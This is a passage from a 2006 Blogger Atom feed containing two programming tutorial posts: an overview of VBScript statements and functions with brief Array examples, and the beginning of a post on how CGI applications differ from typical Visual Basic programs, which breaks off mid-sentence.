src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-32979319.post-115735924382150160</id><published>2006-09-04T15:39:00.000+07:00</published><updated>2006-09-05T11:58:52.156+07:00</updated><title type='text'>Visual Basic Script Statement Overview</title><content type='html'>Visual Basic Script supports a subset of the Visual Basic statements. The following list are the functions supported:&lt;br/&gt;&lt;br/&gt;Call statement&lt;br/&gt;Dim statement&lt;br/&gt;Do-Loop statement&lt;br/&gt;Erase statement&lt;br/&gt;Exit statement&lt;br/&gt;For-Next statement&lt;br/&gt;For Each-Next statement&lt;br/&gt;Function statement&lt;br/&gt;If-Then-Else statement&lt;br/&gt;Let statement&lt;br/&gt;LSet statement&lt;br/&gt;Mid statement&lt;br/&gt;MsgBox statement&lt;br/&gt;On Error statement&lt;br/&gt;Private statement&lt;br/&gt;Public statement&lt;br/&gt;Randomize statement&lt;br/&gt;ReDim statement&lt;br/&gt;Rem statement&lt;br/&gt;RSet statement&lt;br/&gt;Set statement&lt;br/&gt;Static statement&lt;br/&gt;Sub statement&lt;br/&gt;While-Wend statement &lt;br/&gt;&lt;br/&gt;Visual Basic Script Functions Overview&lt;br/&gt;&lt;br/&gt;The following is a list of functions and objects that are supported by Visual Basic Script and operate similarly to the VB counterparts:&lt;br/&gt;&lt;br/&gt;Abs function&lt;br/&gt;Asc function&lt;br/&gt;Atn function&lt;br/&gt;Chr function&lt;br/&gt;Cos function&lt;br/&gt;Date function&lt;br/&gt;DateSerial function&lt;br/&gt;DateValue function&lt;br/&gt;Day function&lt;br/&gt;Exp function&lt;br/&gt;Hex function&lt;br/&gt;Hour function&lt;br/&gt;InputBox function&lt;br/&gt;InStr function&lt;br/&gt;Int, Fix functions&lt;br/&gt;LBound function&lt;br/&gt;LCase function&lt;br/&gt;Left function&lt;br/&gt;Len function&lt;br/&gt;Log function&lt;br/&gt;LTrim, RTrim, and Trim functions&lt;br/&gt;Mid function&lt;br/&gt;Minute function&lt;br/&gt;Month function&lt;br/&gt;MsgBox function&lt;br/&gt;Now function&lt;br/&gt;Oct function&lt;br/&gt;Right function&lt;br/&gt;Rnd function&lt;br/&gt;Second function&lt;br/&gt;Sgn function&lt;br/&gt;Sin function&lt;br/&gt;Sqr function&lt;br/&gt;Str function&lt;br/&gt;StrComp function&lt;br/&gt;String function&lt;br/&gt;Tan function&lt;br/&gt;Time function&lt;br/&gt;TimeSerial function&lt;br/&gt;TimeValue function&lt;br/&gt;UBound function&lt;br/&gt;UCase function&lt;br/&gt;Val function&lt;br/&gt;VarType function&lt;br/&gt;Weekday function&lt;br/&gt;Year function &lt;br/&gt;&lt;br/&gt;The following sections provide information regarding new functions or functions that behave differently than their VB counterparts.&lt;br/&gt;&lt;br/&gt;The Array Function&lt;br/&gt;The Array function returns a variant that contains an array. The following is an example:&lt;br/&gt;&lt;br/&gt;Dim aNums as Variant&lt;br/&gt;aNums = Array(1, 2, 3, 4, 5)&lt;br/&gt;This would create an array with five values, 1 through 5. If no arguments are passed to the Array function, the array created is of zero length.&lt;br/&gt;&lt;br/&gt;Accessing the elements of an array is done the same way in VBScript as in Visual Basic. For instance,&lt;br/&gt;X = aNums(3)&lt;br/&gt;would assign the value of the third position in the array aNums to the variable X.&lt;br/&gt;&lt;br/&gt;Data Conversion Functions&lt;br/&gt;&lt;br/&gt;The data conversion functions listed in Table B.1 take one Variant variable as an argument and return that value as the Variant subtype of that function.&lt;br/&gt;&lt;br/&gt;For example, the CBool function would take a normal Variant as an argument and return a value into a Variant with the subtype Boolean. &lt;br/&gt;&lt;div class="blogger-post-footer"&gt;&lt;!-- Search Google --&gt;
&lt;center&gt;
&lt;form method="get" action="http://www.google.com/custom" target="google_window"&gt;
&lt;table bgcolor="#ffffff"&gt;
&lt;tr&gt;&lt;td nowrap="nowrap" valign="top" align="left" height="32"&gt;

&lt;br/&gt;
&lt;input type="text" name="q" size="31" maxlength="255" value=""&gt;&lt;/input&gt;
&lt;input type="submit" name="sa" value="Google Search"&gt;&lt;/input&gt;
&lt;input type="hidden" name="client" value="pub-2942851712694691"&gt;&lt;/input&gt;
&lt;input type="hidden" name="forid" value="1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="ie" value="ISO-8859-1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="oe" value="ISO-8859-1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="cof" value="GALT:#008000;GL:1;DIV:#336699;VLC:663399;AH:center;BGC:FFFFFF;LBGC:336699;ALC:0000FF;LC:0000FF;T:000000;GFNT:0000FF;GIMP:0000FF;FORID:1"&gt;&lt;/input&gt;
&lt;input type="hidden" name="hl" value="en"&gt;&lt;/input&gt;
&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/form&gt;
&lt;/center&gt;
&lt;!-- Search Google --&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/32979319-115735924382150160?l=naditya.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://naditya.blogspot.com/feeds/115735924382150160/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=32979319&amp;postID=115735924382150160&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/32979319/posts/default/115735924382150160'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/32979319/posts/default/115735924382150160'/><link rel='alternate' type='text/html' href='http://naditya.blogspot.com/2006/09/visual-basic-script-statement-overview.html' title='Visual Basic Script Statement Overview'/><author><name>Ilhams</name><uri>http://www.blogger.com/profile/02157128367361065622</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-32979319.post-115735906926638671</id><published>2006-09-04T15:25:00.001+07:00</published><updated>2006-09-04T15:37:51.073+07:00</updated><title type='text'>How CGI Apps Differ from "Typical" Visual Basic Apps</title><content type='html'>As I mentioned in the introduction to this chapter, writing CGI applications is a completely different animal than writing most Visual Basic applications. This section discusses some of the major differences that you must keep in mind when writing an application that your Web server will launch. If you forget these differences, your application will probably leave the Web surfer wondering why the browser displays the Document returned no data message when the Submit button is clicked!&lt;br/&gt;Waiting For Response…&lt;br/&gt;&lt;br/&gt;One of the most important things to keep in mind is that while your program is executing happily on the server machine, the user is staring at what might as well be a blank screen. The typical Web browser application (also referred to as a user agent), displays a message in its status panel to the effect of Connected to www.xyz.com...Waiting for response.... The cursor is the hourglass cursor, further emphasizing to users that they're on hold. Therefore, CGI applications must do their thing and return control to the Web server as quickly as possible. The program should avoid using any but the quickest methods of accomplishing what needs to be accomplished.&lt;br/&gt;&lt;br/&gt;For instance, you should avoid attempting to start a slow OLE automation server. If the application attempts to create an Excel spreadsheet object, stuff data into it, analyze the data, export the spreadsheet to a Word document, and then return the Word document to the user, the client will probably produce a time-out error-unless, of 
